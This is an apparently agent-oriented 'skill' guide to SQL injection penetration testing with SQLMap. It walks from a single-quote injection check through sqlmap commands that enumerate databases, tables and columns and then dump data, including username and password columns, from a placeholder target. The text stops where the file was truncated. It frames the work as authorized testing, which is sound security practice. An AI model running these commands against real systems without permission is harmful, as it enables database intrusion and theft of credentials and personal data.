SQLMap Database Penetration Testing
Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
Inputs / Prerequisites
- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)
- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub
- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable
- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection
- **Authorization**: Written permission for penetration testing activities
Outputs / Deliverables
- **Database Enumeration**: List of all databases on the target server
- **Table Structure**: Complete table names within target database
- **Column Mapping**: Column names and data types for each table
- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data
- **Hash Values**: Password hashes for offline cracking
- **Vulnerability Report**: Confirmation of SQL injection type and severity
Core Workflow
1. Identify SQL Injection Vulnerability
#### Manual Verification
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"#### Initial SQLMap Scan
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 32. Enumerate Databases
#### List All Databases
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch**Key Options:**
- `-u`: Target URL with injectable parameter
- `--dbs`: Enumerate database names
- `--batch`: Use default answers (non-interactive mode)
3. Enumerate Tables
#### List Tables in Specific Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch**Key Options:**
- `-D`: Specify target database name
- `--tables`: Enumerate table names
4. Enumerate Columns
#### List Columns in Specific Table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch**Key Options:**
- `-T`: Specify target table name
- `--columns`: Enumerate column names
5. Extract Data
#### Dump Specific Table Data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch#### Dump Specific Columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch#### Dump Entire Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch**Key Options:**
- `--dump`: Extract all data from specified table
- `--dump-all`: Extract all data from all tables
- `-C`: Specify column names to extract
6. Advanced Target Options
#### Target from HTTP Request File
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch#### Target from Log File
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch#### Target Multiple URLs (Bulk File)
# Create file with URLs, one per line:
# http://target
<!-- truncated -->